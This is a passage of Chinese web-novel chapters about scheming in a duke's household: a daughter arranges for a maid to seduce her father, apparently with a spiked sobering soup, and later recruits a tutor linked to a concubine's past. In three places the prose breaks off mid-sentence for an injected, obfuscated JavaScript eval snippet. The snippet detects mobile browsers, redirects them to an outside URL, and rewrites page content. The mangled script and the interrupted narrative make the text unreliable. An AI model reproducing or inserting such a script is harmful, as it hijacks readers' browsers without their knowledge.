她唇角噙笑，原还想拿捏了崔时的心思，日后将他捧上高位，自己成了国公府主母能享尽荣华，可崔时如此待她，就别怪她心狠踩着他上位，迟早有他跪着求她那一天。 抬手擦去唇角血迹，她将头上凤钗拔下，指尖一寸寸捋顺鬓发。镜中之人面颊红肿，唇边带血，眼底却一点泪都没有，只剩寒光森森。 - 崔晋自宴席散后便觉头昏脑涨，分明不过两三杯黄酒，此刻却如火烧一般，脑仁都在嗡嗡作响。 他倚在榻上手扶额角，耳中只余人声散乱，眼前模糊不清，却听门扉轻响，一道柔影携着一缕轻香踏入。 “老爷，这是醒酒汤。” 女子声音轻柔温顺，步伐也格外轻，那一声“老爷”，比酒还更醉人三分。 崔晋抬眸看去，只一眼便怔住。 女子生得细眉婉目，肌肤胜雪唇红齿白，鬓边堕着两缕青丝，襦裙紧束腰身盈盈，眼中带怯唇角却噙笑，眉眼间俱是柔弱妩媚，仿佛一朵沾了露的芙蓉，轻轻一捏便能化水。 这是灵绣？平日竟不觉她生得如此貌美。 崔晋本就头晕目热，如今见了这般模样，只觉一股火直往脑门上冲。 “奴婢听说老爷醉得厉害，便……” 话未说完，崔晋忽地起身，一把将她拽入怀中。 “你倒是体贴。” 他手劲极大，灵绣一个踉跄跌进他怀中，半边脸埋在他胸前，挣也不是，不挣也不是，她急促道：“老爷，奴婢只是……” “别说了。”崔晋低声嗤笑，鼻息扑在她耳侧，带着酒气与灼热的喘息。“我知道你的心思。” 他手沿着她腰侧探去，力道渐紧，眼中隐有□□翻涌。 灵绣身子颤了颤，却没挣脱。 果然，父子二人都是一路货色。 崔时尚算个皮相人物，崔晋却是个老狐狸，平日里装得清心寡欲，一副严父清官模样，背地里却也不过如此。 她忍下心底的不屑，顺势贴近了几分：“老爷若觉奴婢伺候得好……那奴婢……就留下来陪老爷。” 崔晋只觉她柔若无骨地靠着自己，心头的火几乎要喷薄而出，脑中混沌，手已不由自主地探入她衣襟下摆。 夜色沉沉，屋内只余细喘息。 - 晨光才破，府中张灯结彩未撤，新妇却已按时而至。 堂前一应摆设齐整，谢清菱换了一身素衫，手捧茶盏，脸上仍留些昨夜掌掴后的红肿，只略略施粉压过，心中带着不甘，可到底是新妇身份，仍强自绷着笑，姿态温顺恭敬不失分寸。 崔时与之并肩站在一旁，等候片刻内院却始终无人通传。 崔莞言略一皱眉，道：“父亲向来作息极稳，今晨迟迟不现身……哥哥不若去请一声罢，若是酒饮多了伤胃，也好早些遣人请郎中。” 崔时也觉奇怪，二人一同前往崔晋所居小院。 院中静悄悄的，连侍候的下人都不见一人，似是昨夜都遣了下去。 崔时走至门前，抬手敲了敲。 “父亲？” 门内却无回应，静得几乎有些诡异。 “爹爹平素极重规矩，若非真有不适，不至于这般。” 崔莞言神色担忧，又道：“要不直接开门看看？若真出了什么事，咱们也好及时处置。” 崔时点头，推门而入。 屋中香气阵阵缠绕鼻尖，似是女子的脂粉香。 往前走了两步正欲出声，帐中却有一声轻吟传来，伴着醉意未醒的迷糊娇嗔。 他脚步一顿，目光骤然冷了下去。 崔莞言亦随之而至，拉了帘角往里一看。 锦被凌乱衣衫半褪，灵绣双颊绯红，裸露的香肩上有淡淡吻痕。她怀中所依正是崔晋，衣襟敞开醉意未醒，一只手还揽在灵绣腰间。 曾与他苟且，在他膝前柔声哀求、任他轻贱戏弄的女人，如今却爬上了他父亲的床！灵绣这个贱人！ 崔时瞳孔骤缩，胸口像是猛然被铁锤砸了一下。 身旁，崔莞言见状当即挡住了眼，不忍多看。“这……怎么会这样。” 余光冷冷掠过榻上的两人，她本还担心灵绣手段不够，没想到崔晋竟这般好钓。 不过这世上哪有那么多刚好？能迷倒崔晋的从不是灵绣的脸，而是他自己极尽遮掩的色心。 此时榻上的灵绣被声响惊醒，瞥见门口站着的二人，脸色顿时煞白，连忙挣扎起身欲遮掩身上春光。 崔晋也醒了，头疼欲裂，尚未看清楚状况，只觉得身旁滑腻一片、香艳扑鼻，竟带着些满足的余韵。 竟是这丫头？ 记忆尚不分明，他只记得昨夜酒香馥郁，席间推杯换盏，恍惚中有人奉了醒酒汤来，那汤入口微甜，不似平日的苦涩。 再后来，帐幔轻垂香气缭绕，有人娇娇柔柔伏在他怀中，他身子沉重得动弹不得，却本能地拥了过去。 男人醉极之时，倒也常有荒唐。 顺着灵绣惊慌的动作望向门口，他看清眼前站着的两人，眉头一挑，竟只是将灵绣推了推，淡声道：“你先下去。” 灵绣怯怯地“嗯”了声，忙拽着衣裳匆匆裹住身子，从崔时身边低头退下。 崔晋披衣起身，目光在儿女脸上扫过，“昨夜喝多了，头痛得厉害。” 他既不掩饰，也无半点羞惭，语气甚至还有几分责备他人打扰的意味。 他年纪虽长，可这身子骨还健朗，哪怕是个男儿也难保不犯错。更何况……灵绣那副模样，搁哪个男人面前不是个祸水？ 崔晋余光一瞥，崔时脸色铁青，眼底翻涌着一股快压不住的怒意。 怎么？他还想替一个下贱的婢子兴师问罪不成？崔时真是越来越不受教了。 反倒是莞言，垂手站在一旁，半点情绪都不露。 “父亲若是还头痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232244|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，孩儿唤人煎些醒酒汤来。但外头宾客已至，新妇候在厅中许久，不如先请父亲更衣。” 语气温软得体，像从未见过这香艳场面似的。 崔晋看她一眼，心头稍宽。 可他不知道，崔莞言此刻眼底藏着的，是冷得刺骨的讽意。 真不知羞。 屋里还有两个亲生儿女站着，他却能面不改色，连句解释都没有。 那副姿态，倒像是他们撞破了他天大的私密，反该先低头请罪。 崔晋“嗯”了声，摆手道：“知道了。”便若无其事地起身穿衣。 步入正厅时，谢清菱已恭敬地站了许久。 昨日成亲当夜被掴，今日敬茶，祖母称病不来，公公也如此慢怠，他们真当她是好欺负的？ 崔晋坐在上首，懒洋洋抬手接过茶盏，抿了一口便放下了。 “嗯，成亲了就是一家人，日后好生相处。” 谢清菱低声应了，刚要退下，崔晋却扭头看向崔莞言，语气柔了几分：“莞言近日帮着操持这婚事，辛苦了。” “父亲言重了，兄长打点得极稳妥，我不过照应些旁枝末节。” 崔晋眉梢动了动，竟点头道：“你们兄妹和睦，我安心不少。” 崔莞言笑了笑，未接话。 谢清菱站在一旁，心中的怒气就要藏不住了。 她是正经嫁进这府中的媳妇，敬茶时一句好话都未得，偏那庶女坐在那里处处受捧，连崔时听了都眉开眼笑。 更让她恼火的是，素来眼高于顶的沈明宜，竟能主动低头与她和善来往。 这崔莞言从头到尾，都是个藏得极深的。 - 暮色四合，角门静僻。 灵绣脚步轻疾地穿过回廊，终在小苑僻静处与崔莞言碰面。 她神情焦灼，开口便急问：“小姐，今日之事……您不是说，只要能让老爷对我动情，日后做妾也不是没可能？可他白日里连个眼神都不施舍给我……” 崔莞言斜倚在廊下石柱旁，唇角噙着笑。 “你急什么？才一夜。” “可是……” “我爹是什么人？他这些年外室、歌姬少了吗？可从不纳妾。你若以为一夜就能让他动容，未免太小瞧了咱们国公爷的心思。” “他最瞧不起的就是女人。” 灵绣面色一白，咬了咬牙：“成与不成，我都不后悔。 崔莞言轻笑一声，收回了视线，望向国公府内深不见底的黑暗。 “下一步，你只需稳住他，哪怕他三日不看你，也要忍着，等着。” “但你要让他觉得，你一心一意跟着他不求名分。” 灵绣怔怔地站着，愣了好一会儿才反应过来，“……您是说，让老爷觉得，我只属于他？” “他心里明明觉得你低贱，却又不许旁人沾指，要你为他守着清白，要你俯首，要你甘心情愿为他们的一点怜悯自惭形秽。这才是男人最卑劣的心思。” “记住了，你只属于你自己。” “是，我明白了。”灵绣闻言红了眼眶。 这辈子，她早已被父兄啖尽血肉，像牲畜一样被牵去换取好处，从没为自己活过一日。 可从今日起，她不愿再任人摆布。 她要一步步走出去，为自己争一个前程。 灵绣原不过是庄氏身边的小丫鬟，崔莞言知她前世并未作下大恶，这才愿出手相助。 可要让崔晋彻底放下戒心、将她收入房中，光凭灵绣一人并不够，还需借一借外力，将局势推上一把。 思索片刻，她道，“过几天让你爹来府上一趟。” 34. □□难忍 王府中灯影浮动。 褚元唐背对着案上堆叠的公文，侧脸沉入斜照而来的光里。 “崔晋？”他眉梢挑起一点玩味，“也有这等时候？” 柳枝跪在一旁低头不语，心知这王爷分明是笑了，却半点不敢抬头直视。 “昨日那坛酒倒是够烈。” 他原不过随口一说，却听得柳枝接着道：“是……是小姐安排人送的，说是沈大人珍藏多年的西域火酒。” 是她送的？ 片刻前还带着戏谑的神情忽地敛了些，褚元唐垂眸，眼里浮起一丝异样的光。 听说崔莞言同沈霆之对饮，他心里堵着一口气，可如今一听那坛酒竟是她特意去讨来的…… “她那日是为了寻酒才与沈霆之共饮？” “应该是的。” 柳枝不敢断言，褚元唐听后却是心情大好，那些原本堵在心口的郁气瞬间飘散。 “她竟也把崔晋算计得一清二楚。” 柳枝抬头偷看了他一眼，见他神色比方才柔和许多，终是松了口气。 褚元唐沉默片刻，才重新开口：“最近她有什么动作？” “小姐最近在查孙姨娘的旧事。” “她这是要翻旧账了。” “何止如此，属下看着，这府里怕是要不太平了。谢清菱不好应付，脸上虽软骨头却硬，如今成了少夫人，处处提防着小姐，表面上看不出来，可这几日打发下人的规矩比先前严多了。” “她是在立威，一时咽不下那口气罢了。” 柳枝却补了一句：“还有一事。小少爷崔昱近日在书院闹事打了同窗，被山长责罚，前两日刚被接回府。” “若她要动手，到时候你只管盯好。必要时出手，不必请示。” “……是。” - 国公府南院，青禾坐在矮几旁，小口小口地啃着碗里的烤饼，边吃边道：“小姐，派去的人已经回话了，说查到些孙姨娘的旧事。” 她说得快咬得也急，话没说完便被一块干硬的饼角噎住，脸色涨红连连咳嗽。 崔莞言起身斟了盏温水递过去：“慢点。” 青禾接过水连灌几口，这才缓过气来，道：“奴婢是想着，小姐忙着布局，我怎能落了消息。” “孙姨娘原叫孙展颜，她爹孙勉原是户部个小抄录吏，原本前程有限，是她进府后才被提拔为库部主事。”青禾舔了舔指尖，又道：“听说她入府前有个青梅竹马的相好，两人原订过口头婚约。” “哦？”崔莞言挑眉。 “那人如今在外书院教书，姓郑名安，二十六岁还尚未娶妻，怕是还忘不掉孙姨娘呢。” 崔莞言走到窗边，望着院中斑驳日影，笑道：“人心久了会变，还得先试试，这人值不值得孙展颜念着。” 上辈子刚回京那会儿，李氏便名义上要“教养闺训”，实则日日找茬，让她跪读女诫夜里不许歇息，她常常挑灯至深夜，仍不许抱怨一句。 有一次李氏故意命她缝衣，那衣服上全是繁复云纹和金线，做得极费眼力，针扎入肉都不敢停，只因那是“夫人的意思”。 那时孙氏曾走进她屋里，看她昏沉地靠在床头缝衣，轻轻握住她的手：“莞言，姨娘心疼你，可府里事多，夫人那边……我也劝不动。你忍一忍吧，咱们都是女人。” 她那时眼眶一热，竟真当了她是个能信的。 可两日后，崔莞言半夜被唤进主院跪着听训，李氏甩了她一巴掌，扬言她胆大妄为，竟擅自改动夫人衣服样式，可那图样分明是孙氏看过并点头的。 那时她就站在一旁，温温吞吞地说：“小姑娘年纪小，不懂规矩，夫人别气坏了身子。” 她说她“劝过”，可那晚之后，崔莞言被罚三日不得进食，每日抄经、守灵堂，几近晕厥。 后来她无意听人说，庄姨娘送了孙姨娘不少好东西，还在老爷面前替她美言。 她那时才真正明白，孙氏从头到尾都不是无能，也不是退让，而是笑眯眯地送刀的那一类人，是庄氏身边的一条狗，专门替她咬人。 青禾听出她语气里的意思，连忙起身：“奴婢再去探探那位郑先生，看能不能寻出些往来信物。” “不急。” 崔莞言转念想，如今崔昱回府无人管教，郑安是个教书先生岂不正好？ - 这几日府中风平浪静，灵绣仍每日守在崔晋身侧，端茶送水、捶肩熬药，像极了先前那个温顺柔婉的婢子。 她从未提起那夜在卧房中的韵事，也从未流露出半分不安或野心，只做着下人的本分事。 崔晋原本心中还有些不快。 他虽不是什么清心寡欲的君子，却也一向自持身份，怎会容许一个婢女乘机投怀送抱，甚至让自己在儿女面前颜面尽失？ 他本是打算将灵绣赶出府去的，可几日过去，他却逐渐冷静下来。 这女人……当真贪慕荣华的话，为何事到如今还不肯开口提要求？ 这日，崔晋独坐小厅，半倚着榻背饮茶，灵绣捧了药盏过来，低头侍立。 他见她眼角有些泛红，问道：“眼睛怎么了？” “奴婢……方才在灶间被烟呛了些。” 崔晋不语，只盯着她那双泛红的眼睫看了一会儿。 半晌，灵绣才像是鼓足勇气般再开口：“老爷，奴婢有件事……想求您帮忙。” “说吧。” 灵绣咬了咬唇，眼圈更红：“其实也没什么大事……是奴婢多想了，不敢麻烦老爷。” 说完，她匆匆福身退下。 崔晋看着她的背影消失在门后，沉默许久。 她到底想干什么？ 若说那夜只是无意之失，她怎会今日还来开口？可若真是有意图谋，又为何始终不说？ “来人。” 亲随即刻进来。 “跟着她，我倒要看看，她到底想做什么。” 那小厮便暗中跟着灵绣，直到傍晚见她悄悄出府。 灵绣避开主路，从偏僻后门绕了出去，沿着一条林间小径走到角落处，只见一个满身汗渍、脸上坑洼粗糙的汉子早已等在那里，衣裳破烂不堪，手里还抓着半截烙饼，一见到她，立马跳起来吼道：“你个死丫头，总算舍得出来了？” 那人正是她嗜赌成性的生父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232245|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵二。 灵绣压低声音：“我不是让你别来了？” 赵二一把薅住她胳膊，瞪眼嚷嚷：“你现在吃香喝辣，老子还在喝糊糊！你个小蹄子，老子一把屎一把尿把你养大，你现在倒翅膀硬了，叫你接济点都不肯？” 灵绣挣脱不开，只能压着声哀求：“我现在也不好过，能给你的我都会给你……” “少来这套！”赵二啐了一口，“听村里人说你留在国公府没被撵走，指不定巴结上哪个主子了吧？要是混得不好，就跟老子回去，老刘家的小子还等着娶你呢！娶了你，咱家还能讨笔彩礼钱！” 灵绣脸色煞白，颤声道：“我……不能嫁了。” 赵二像被人踩到尾巴一样跳起来：“你说什么？！不能嫁人？你给哪个男人糟践了？说啊！” 灵绣连忙摇头否认：“没有、真的没有……” 赵二却不依不饶，几步扑上来扯她的头发，伸手就要扇她巴掌，嘴里骂骂咧咧：“你个赔钱货，吃我的喝我的，还不知道尽孝，现在连身子都弄脏了，我还指望你换口饭吃呢！” 灵绣吓得猛地后退，膝盖一软几乎跌倒，急忙从袖中摸出早备好的银子，塞到他手心：“你先拿去用，等下个月我再想办法。” 赵二上下掂了掂银子的份量，眉开眼笑地骂道：“早这样不就得了？你这小蹄子非得讨打。记住了，别想断了老子的口粮！” 他转身离去，边走边念叨：“下次要是让我等久了，我就找上你府里去，让他们看看你这副不孝样子！” 灵绣站在原地半晌没动，风一吹，脸上却只有死水般的冷漠。 角落里，小厮悄然离开，回府禀报。 “她父亲唤作赵二，在城外破窑里讨生活，是个赌鬼。来了便撒酒疯拉扯灵绣，要她回家嫁人。灵绣死活不肯，说自己不能嫁人，最后还是塞了些银子把人打发走的。” 崔晋听得冷哼一声：“果然是个粗俗出身。” 他原就瞧不起这些市井出身的妇人，如今一听竟生在那等低贱人家，连寻常百姓都不如，心中更添几分不屑。 “继续盯着。” 她就算能装，也装不了多久。 他就不信，这样出身的女人，真能一直端得住架子。 夜晚，孙氏来伺候茶水，眉眼温顺举止得体。 崔晋原本最受用的就是她这副知书识礼、不动声色的模样，可今夜他却一口茶饮得心烦气躁。 她凑近替他捏肩，他眉头一皱，只觉那手又瘦又骨，香气也寡淡无味，一时生了厌意。 于是挥开她：“下去吧。” 半倚着榻背，他神情有些恍惚，眼前晃过那晚的光景。 那灵绣脖颈细白，皮肤像要滴出水来，一双眼泪汪汪，却偏不肯哭出声来。 他心底却越来越烦。 她若哭闹耍赖、求他扶正，他还能顺水推舟赶出去。可偏偏她半个字不提，只垂着头，模样又软又媚。 她那副身子，若真肯服个软…… 想到这，他低笑了一声，“贱婢，真会装！” 他侧躺下身，脑中却全是灵绣那身段，像酒一样，越想越甜腻醉人。 35. 故人归来 这几日，崔莞言总在灵绣当值时前来书房禀事。 她见崔晋眼底欲.色翻涌，一双眼几乎黏在灵绣身上挪不开。 男人再怎么能忍，到这一步也撑不住了。 是时候顺水推舟，给崔晋一个台阶。 是日，崔莞言照旧去花厅陪崔老太太用茶。 崔老太太年纪大了夜里难眠，喜欢唠些家常，崔莞言素来识趣，多半只听不插嘴。 可今日，她却语气一转，“这些日子，父亲日日在忙公务，回了府也鲜少歇着。我听门房说，昨夜三更才回来，一早又出门了。” 崔老太太“啧”了一声：“他那性子，从年轻时就是操不完的心。” “可府中到底冷清些，平日也就孙姨娘偶尔伺候，听说她最近还病着，旁的又不敢随便近前。女儿想着……这般下去，父亲身子只怕吃不消。” 崔老太太随手往茶盏里又添了一颗红枣，忽而冷哼一声：“孙氏那样也叫伺候？还不如庄氏知冷知热。” 崔莞言装作不懂，低声劝道：“孙姨娘到底性子温吞……我也不敢多嘴，只是若能再有人替父亲打点些日常琐碎，让他身边热闹些，兴许也不至于日日皱眉。” “他若肯听劝，早几年就该再纳几个妾，现下我也儿孙满堂了。”崔老太太气得直摇头，“既然他自己不肯张口，我这个做母亲的只得替他操这份心了。明日我便亲自过去一趟，看他还怎么推三阻四。” 崔老太太用完晚饭，便亲自去找崔晋。 她说话一向不露锋芒，先是念了几句老话，又提起自己操劳一生年纪渐长，府中事务她有心无力，李氏庄氏不在，她担心没个稳妥的人照应崔晋身边起居。 末了又似不经意地叹了一句：“我看孙姨娘也不是个好生养的，进府几年都没动静，是时候添个新人。” 崔晋起初未言语，等老太太说了第三遍“操劳”，才慢慢点了头，说让她看着办。 崔老太太出来时神情松快，唤了崔莞言去，说府里到底是要添人手的，让这几日抽空替她看看几位合适的。 崔莞言理所应当地答应下来，借着送账册的时机在书房留了片刻。 “祖母方才吩咐了些事，叫女儿帮忙掌掌眼，说府里到底要添人手，得选个妥帖的，可到底是要陪在父亲身边的，总还得父亲喜欢才是。女儿想着，从府外挑人，难免多生事端，不如府里已有的，既省事也清净。” 崔晋颔首道：“你说得有理。” “听说这几日灵绣在书房伺候，不知父亲觉得可还舒心？” 崔晋原本只略点头应着，听到这句，眼神才顿了顿。 “她虽出身微末，倒也规矩安分。就算她心思活络些，不过是个贪富贵的未必坏事。一个姨娘，国公府家大业大还养得起。” 崔晋最恼女人花样多，可如今却有几分犹豫。他多疑惯了，此刻心思不免起了波澜。更何况，崔莞言这番话，分明是给了他一个顺水台阶。 是啊，灵绣一个出身低贱的婢子，就算真攀上来又如何？不过是个姨娘罢了，崔家供得起，也管得住。 再说……府中这些年冷冷清清，除了孙氏那个性子寡淡的，还真没个顺眼的。 想到这，崔晋轻哼一声，道：“你说得不错。既是祖母有意，你去挑人罢。” 崔莞言低头应下，出得书房，她在回廊尽头立了片刻，远处灵绣正端着参茶过来。 她稍一使眼色，灵绣随即点头，明白事情成了。 崔老太太到底是过来人，一见灵绣那副模样，便心下了然。 那姑娘眉眼温顺，身段又是珠圆玉润，最要紧的是一派安分模样，说话也不外扬不造次，便笑着应下，说：“长得是好生养的样子，身子也结实，将来兴许能为崔家再添个孙子。” 有了这话，崔晋那头便不再矜持。 他早等得心痒，奈何碍着面子、又有女儿在前不好张口，如今老太太一开口，就像压在心头的最后一块石子被人搬开了。 可面上，他仍是装出一副“被逼无奈”、只是为了老太太安心的模样，不过三五日，便当众宣布纳灵绣为妾。 后宅之中如江面坠入一块重石，顿起波澜。 崔时听闻灵绣成了他的庶母，气得一脚踹翻了书案，眼底翻涌的，除了厌恶与愤怒，还有一丝无法启齿的屈辱。 他以为父亲不过是玩一玩，谁能想到灵绣真的飞上枝头。 谢清菱听罢，也险些失了态。 她不过才刚嫁进来，礼还未满三朝，婆母一个日日跪在佛堂赎罪，一个远在庄子里受人欺辱，如今公爹居然又纳妾？ 若说灵绣出身清白也罢，偏她还是从前服侍庄氏的婢女，真是好一个世家大族，教她见识了。 孙氏那头也急了。 这些年来，她在后宅尚能得宠，全仗着庄氏帮扶，可庄氏倒台，她成了孤枝一根，靠着小心讨好才得崔晋几分眷顾，灵绣这时进来，分明是要踩着她上位！ 她怔坐在镜前许久，面上的胭脂未扫完，心中却已冷意四起。 - 崔晋与灵绣温存了几日，本是心情大好，可这天又听说崔昱在外打了人，一时怒上心头，命人将崔昱押进了正厅，甩手便是一鞭。 “成日不学无术，尽给我惹事！崔家脸面都叫你丢尽了！” 崔昱吃痛面色涨红，却死咬着牙一句不吭，崔晋更气，扬起手里的鞭子便要再打，旁边伺候的下人都吓得直退。 这时一道娉婷身影疾步踏入，拦在了二人之间。 “父亲息怒！”崔莞言轻轻扶住崔晋手腕，“弟弟年纪还小，知错便改，动气伤身。” “年纪小？你看看他近来在做些什么？书也不读，先生也避着不见，连书院都不肯去了，功课全落了下去！你说该怎么教！” 他话音未落，崔昱冷哼一声，扭过头去神情倨傲。 崔莞言略一思忖后，劝道：“书院终究不如家中清净，弟弟心性未定，置于众人之间怕更学坏。依我看，不若将原本的先生请回府中，在家授课，也好时时管束。” 崔晋皱眉，没说话，但气息稍稍缓了几分。 “潞山学院的先生正在上京会友，不若让女儿去试试看，能不能将他请来府上。” 沉吟片刻，崔晋终于点了点头：“也好。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246625|177806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >话落，他抬手挥退下人，拂袖离去。 崔昱站在原地脸色铁青，怨毒的眼神全然不似少年。他冷笑了一声，道：“你少假惺惺了。等我娘回来，一定让你滚出这个家。” 崔莞言望着那张狂、不知悔改的背影笑了，庄氏聪明一世，教养的两个儿子皆是内里阴沉、目光短浅的。 偏他们都觉得自己是天纵英才，可惜，连活到最后的机会，都不一定保得住了。 崔莞言早已打听到，郑安现在就在京郊别院会友。那处别院她半月前诗会才去过一次，名为“倚竹山房”，山水相依、环境清幽，常年有京中才俊雅士来此投宿小聚，时饮酒赋诗，时纵谈天下。 今日院中便住着三五人，皆有些清名在外。 一顶素轿缓缓停在石阶前。 女郎自轿中走下，衣着不张扬，面容却清冷有致。门房年纪不大，一见她，顿觉眼熟，略一思忖便惊觉道：“姑娘可是……前阵子那场诗会，也来过？” 崔莞言颔首：“正是。” 门房连忙迎上，语气恭敬几分：“姑娘可是为诗会而来？今日在院中的，倒也都是那日相识的几位才人。” 崔莞言温声道：“非也。今日前来，实为家中小弟求学之事。听说此处才子云集，不知是否有幸得遇一位清誉之师？” 门房一听是为求师而来，且又是国公府出身，自不敢怠慢，忙不迭回道：“姑娘稍等，我这就去通传。” 他一路小跑入内，不多时便引她入院中。 庭前芍药如霞，清风吹过，几片花瓣落于曲石上，几人围坐在石桌前，或执酒壶，或倚榻而卧，听得动静皆抬头望来。 “来了位女客？”一人惊讶低声。 “是那位庆国公府的二小姐，早先曾来参加诗会。”门房在一旁低语。 众人闻言便纷纷起身，神色各异。 “原来是国公府崔二姑娘，失敬失敬，在下陈归章，字尚之。” “在下黄庭。” 崔莞言不急不躁，一一颔首行礼，言简意赅：“叨扰诸位清谈，是我鲁莽。只是家中幼弟顽劣，不肯读书，父亲一筹莫展，听闻此间聚集文友，遂斗胆前来一试，是否能为小儿寻得良师。” 她话虽谦辞，却极有分寸地道明来意，众人一时颇觉新鲜，议论低声起。 郑安坐在后方一隅，酒盏未放，眸中却有几分异色。 崔小姐？展颜……如今，也姓“崔”了。 他与孙展颜自幼便是邻里，一道长大。 少年时，他们已隐隐有了心意。 她喜种梅，他便替她在后院搭了藤架，三月梅落，春意正浓，他一回头便看见她站在花下，裙裾翻飞，笑意盈盈。 那时他以为，他们是会走到一处的。 可天有不测。 孙父为攀附权贵逼她入国公府为妾，郑安那时外出游历，是在半年后才听说这桩事的。此后他愈发寡言，整日沉于诗书，言笑不再轻易与人交付。 如今再听“国公府”三字落在耳边，恍若陈年旧伤又被人揭起。他重新执起酒盏，仰头一饮而尽，苦味蔓延开来，却比不得心头那一点酸。 36. 教书先生 崔莞言瞥见郑安的脸色变了，又接着道：“……三弟性子顽劣，生母不在，旁人也不好管教。眼下家中局面本就不稳，如今又多了桩这般难事，姨娘年纪轻，素来谨慎克制，却到底不是管教孩子的性子，如今也是力不从心了。” 国公府里年纪轻的姨娘？那便只有展颜。 崔家三少爷的恶名，他不是没听过。 不读书不上课，四处惹是生非，还将书院里一位教习气得当堂拂袖而去。京中圈子虽广，这些年浮浮沉沉的逸闻也从未断过，哪怕他不与权贵多来往，也多少听了几耳朵。 展颜那样柔弱，怎能教得动那个被宠坏了的世家少爷？ 郑安闭了闭眼，胸口像压了一块石头，重得透不过气来。 他明明该早断情丝，不该为这半点传闻扰乱心神，可如今听旁人转述，他才知她在国公府多年已是艰难周旋。 她当年，是多鲜亮伶俐的一个人啊，如今也教那府邸生吞了进去…… 郑安尚未出声，席中却已有几人动了心思。 一位穿青衫的文士笑着道：“我倒是识得几位学兄，教养才学俱优，不如——” 话未说完，旁边又有人插话：“崔三少爷可不是好伺候的，听说前些年把个太学的教习都气跑了，能请得动的先生，怕是要有几分真本事。” 郑安依旧不语，可却实在心疼展颜困在那样的泥沼中，还要为旁人教子操劳。 他知道她不是个能屈能伸的人，她的柔顺是因为心冷，忍耐是因为无力，能撑到如今已是不易。 若旁人答应了这差事……来的是个心术不正、觊觎权势之人，那她岂不是又多一重被人窥觑的苦？ 他心乱如麻，面上却还是沉静。 “府中也并非无人，当年还有位姓贺的先生，曾在三弟幼时教过一阵，如今在太学当差。只是那位先生说了，三弟顽劣，性子也不拘，不好相处，怕是连半月都教不下去。” 崔莞言顿了顿，苦笑了一声：“如今连外戚都不肯接这差事了，府里也只好往外寻人。姨娘还说，实在不行，只能请朝中旧识出面，找一位年长的教谕来。” 郑安原以为自己忍得住，忍过几年，忍过她音信全无，也就能忍到一生。 可一想到她，心思便早已乱了。 “郑兄倒是最合适的。”旁人一语点破沉默。 紧接着，另一位清儒也笑道：“郑兄出身书香，又有潞山学院的资历，若不是他，我都怀疑国公府请不来更好的人了。” “是啊，能教三少爷，也就是郑兄这样的能人能镇得住了。” 郑安几乎要将手中的酒杯捏碎，终还是放下，抬头望向崔莞言。 崔莞言像是意外之极：“郑先生愿意试一试？实在太好了。那便劳烦你先在府中试教几日，若三弟不成事，便再做打算。” 郑安终是忘不了孙氏。 她想着，孙氏与故人重逢时那一刻的神色，实在值得一看。 - 崔莞言并未在别院多做停留，吩咐了几句便先行离开。天色尚早，通往上京的旧路两边松林郁郁，山风带着草木气息拂入车内，薄薄一缕，透着夏初的凉意。 她本想着这段路平静无事，哪知车夫忽然勒马缓行。 掀了掀窗帘的一角，原也不过随意一撩，却瞥见路后方，一匹赤骝快马驰来，马背上的人身姿挺拔，眉眼在日光下分外冷峻。 是褚元唐。 她怔了怔，指间的帘角却未落下。 两人视线在马蹄声与人声交错中短暂交汇，谁都没有开口，谁也没有避开。 可那马匹分明行得慢了。 又遇上了，为何总是遇上他？ 他若无意，自不会连这几步路也愿与她同行。 可惜他总藏得太深，总是惜字如金，连这点在意也不肯明说。 崔莞言闭上眼靠在车壁，任马车缓缓前行，风从帘隙里灌进来，拂得她鬓发微乱，心底亦起了一层层波澜。 山道转过一道弯，前方忽然传来一阵急促的马蹄声。 还未等车夫开口，褚元唐已蓦地拨马向前，冷声道：“停车。” 前方林间，几道黑影如鬼魅般掠出直奔他而来。 “有刺客——！” 护卫仓促迎战，马车亦瞬间混乱，车夫跌落在地，惊马嘶鸣，又有利箭自山林射出直取车帘。 褚元唐背对马车，长刀一挥将箭斩断空中，周围乱战不休，护卫死伤惨重，他却似浑不在意，只牢牢挡在马车前。 刺客似是冲他而来，却也不知为何，分出一人绕向车后，他眼角一跳杀意骤起。 “找死。” 剑势骤厉如霜，瞬息之间已将五人尽数斩杀，血流染透山道。 短短一盏茶的时间，山道死寂。 崔莞言下了车，裙摆落地时蹭过一滩血水。 褚元唐身上血痕点点，没回头，只道：“刺客是冲我来的。” 她望着他，良久未语。 山风穿过林隙，吹动她的鬓发，也吹得眼中水光浮动，终究只是淡淡垂眸：“我知道。” 这上京城，想要他死的人太多了，今日这一遭又是谁出手？ 褚元唐却忽然转身，眉眼间少有地浮现几分凝重。 本是奉命回京，途经旧道却在山口遇见她的马车。他原想着不打扰，只远远护着，心中却难免生出几分私心，便放慢马速与她一道而行。 